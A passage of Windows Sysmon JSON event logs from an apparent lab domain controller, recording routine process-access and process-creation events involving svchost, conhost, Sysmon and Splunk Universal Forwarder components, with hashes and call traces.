LL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7536,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7537,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:36.588\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42DC-5F2D-0000-0010AAFF0D00}\r\nTargetProcessId: 1512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:36.588","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42DC-5F2D-0000-0010AAFF0D00}","TargetProcessId":"1512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7538,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.323\r\nProcessGuid: {90617006-42DD-5F2D-0000-00105F010E00}\r\nProcessId: 584\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.323","ProcessGuid":"{90617006-42DD-5F2D-0000-00105F010E00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7539,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42DD-5F2D-0000-00105F010E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42DD-5F2D-0000-00105F010E00}","TargetProcessId":"584","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7540,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DD-5F2D-0000-00105F010E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DD-5F2D-0000-00105F010E00}","TargetProcessId":"584","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7541,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7542,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7543,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7544,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 